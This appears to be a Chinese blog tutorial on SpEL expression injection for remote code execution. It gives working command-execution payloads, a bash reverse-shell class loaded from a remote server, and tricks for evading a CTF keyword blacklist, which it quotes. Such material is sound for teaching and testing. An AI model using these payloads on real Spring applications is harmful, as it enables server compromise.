和大帅逼一起研究了一下SpEL注入RCE分析以及技巧,拿来分享一下,抛砖引玉。
Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
示例1:不注册新变量的用法
ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式 System.out.println( exp.getValue() );//取值,Hello World!
示例2:自定义注册加载变量的用法
public class Spel { public String name = "何止"; public static void main(String[] args) { Spel user = new Spel(); StandardEvaluationContext context=new StandardEvaluationContext(); context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量 SpelExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression expression = parser.parseExpression("#user.name");//解析表达式 System.out.println( expression.getValue(context).toString() );//取值,输出何止 } }
了解了基本用法之后,我们可以通过创建实例,调用方法先构造几个rce的payload
会用到的语法
spel语法中的T()
操作符 , T()
操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名()
,后面会用得到
spel中的#
操作符可以用于标记对象
第一部分就是最基础的思路 : 新建实例 , 调用命令执行方法
java代码
String[] str = new String[]{"open","/System/Applications/Calculator.app"}; ProcessBuilder p = new ProcessBuilder( str ); p.start();//打开计算器
spel中也可以使用new来构造,写法几乎一样,我们可以把表达式简化为一行
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
完整的执行代码
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器
当然java.lang包下的类无需使用全限定类名,故表达式可简化来bypass
new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
java调用,由于Runtime类使用了单例模式-饿汉式,需要调用Runtime的静态方法得到Runtime实例
Runtime rt = Runtime.getRuntime();// rt.exec(new String[]{"open","/System/Applications/Calculator.app"});
和上个用法略有不同解释在payload后给出
使用string参数 (java.lang包下的类不需要加全限定类名)
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
字符串数组方法调用
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})
解释: 由于RunTime类
使用了单例模式 ,获取对象的话不能直接通过构造方法获得,必须通过静态方法getRuntime
来获得 , 其源码可参考下图 , 调用静态方法的话需要使用SpEL的T()
操作符,T()
操作符会返回一个object.
从ruilin师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他js绕过的方法到这里,暂时没实验成功,测试成的师傅可以分享下).
获取所有js引擎信息
public static void main(String[] args) { ScriptEngineManager manager = new ScriptEngineManager(); List<ScriptEngineFactory> factories = manager.getEngineFactories(); for (ScriptEngineFactory factory: factories){ System.out.printf( "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" + "Language version: %s%n" + "Extensions: %s%n" + "Mime types: %s%n" + "Names: %s%n", factory.getEngineName(), factory.getEngineVersion(), factory.getLanguageName(), factory.getLanguageVersion(), factory.getExtensions(), factory.getMimeTypes(), factory.getNames() ); } }
Name: Oracle Nashorn
Version: 1.8.0_261
Language name: ECMAScript
Language version: ECMA - 262 Edition 5.1
Extensions: [js]
Mime types: [application/javascript, application/ecmascript, text/javascript, text/ecmascript]
Names: [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
通过结果中的Names,我们知道了所有的js引擎名称故getEngineByName的参数可以填[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
,举个例子:
ScriptEngineManager sem = new ScriptEngineManager(); ScriptEngine engine = sem.getEngineByName("nashorn"); System.out.println(engine.eval("2+1"));
那么payload也就显而易见
nashorn
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
javascript
[[${new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")}]]
OK基础的第一部分到此结束
下面开始第二部分 , 思路 : 反射构造RCE ,下面反射中用到的类包括但不限于上述部分
首先简单介绍反射 :
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制
然后简单介绍ClassLoader :
JVM(java虚拟机) 拥有多种ClassLoader, 不同的 ClassLoader 会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的 jar 文件加载,还包括使用网络服务地址来加载。几个重要的 ClassLoader : BootstrapClassLoader
、ExtensionClassLoader
和AppClassLoader
、UrlClassLoader
下面构造会用到AppClassLoader
和UrlClassLoader
URLClassLoader 可以加载远程类库和本地路径的类库
调用思路 : 远程加载class文件,通过函数调用或者静态代码块来调用
先构造一份Exp.jar , 放到远程vps即可
一份通过构造方法反弹shell的Exp.java实例
public class Exp{ public Exp(String address){ address = address.replace(":","/"); ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done"); try { p.start(); } catch (IOException e) { e.printStackTrace(); } } }
起一个http服务示例
http python -m SimpleHTTPServer 8990
Payload
注意必须使用全限定类名 , 或许这个可以过一些bypass
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录
由于双亲委派的存在,它可以加载到我们想要的类
使用的前提是获取 , 获取AppClassLoader可以通过ClassLoader类的静态方法getSystemClassLoader
System.out.println(ClassLoader.getSystemClassLoader());
加载Runtime执行
由于需要调用到静态方法所以还是要用到T()
操作
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
加载ProcessBuilder执行
[[${T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()}]]
这里我新开一个标题原因是在实际的web项目开发者会导入很多依赖的jar,或编写自定义类
实例1:
使用spel的话一定存在名为org.springframework的包,这个包下有许许多多的类,而这些类的classloader就是app
比如:org.springframework.expression.Expression类
System.out.println( org.springframework.expression.Expression.class.getClassLoader() );
那么很容易就可以得到一个获取AppClassLoader的方法 ,
T(org.springframework.expression.Expression).getClass().getClassLoader()
假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
假设有一个自定义的类那么可以:
T(com.ctf.controller.Demo).getClass().getClassLoader()
类比较多,不过多叙述
request、response对象是web项目的常客,也有很多有趣,比如截图所示,这里会有个很有趣的东西,过段时间补出来
ok……第二部分完结,最后来整点bypass
看到这里会有些累了,这里需要有一些java基础来有选择性的bypass
假设黑名单有如下情况,来源于ddctf :
"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
从两个大的方向来谈: 不能有字符串、不可以直接用Runtime等类
Runtime等类被禁用我们可以使用06所说的自定义类,
ddctf里拥有几个自定义类safafilter和com.ctf.model.User类啥的,只要通过import来找到全限定类名就好;
还可以使用07所说的内置对象request、response两者也可拿来先加载ClassLoader,再加载想要的类。
引号被过滤不可以直接使用字符串,这里提供三种构造字符串的方法
1.T(类名).getName()
会返回字符串类型的全限定类名
比如:[[${T(String).getName()}]]
结果为java.lang.String
然后我们就可以使用角标来构造我们想要的字符串
[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]] #回显h3zh1
2.使用Character类构造字符串
[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]
3.外部可控字符绕过
通过web请求构造字符串,request有很多方法返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方法定制参数
post方法构造字符串
[[${#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)}]]
get方法构造字符串
[[${#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)}]]
外部的cookie绕过
[[${#request.getRequestedSessionId()}]]
参考 :
Ruilin 由浅入深SpEL表达式注入漏洞 : http://rui0.cn/archives/1043
EL : https://www.runoob.com/jsp/jsp-expression-language.html
SpEL : https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions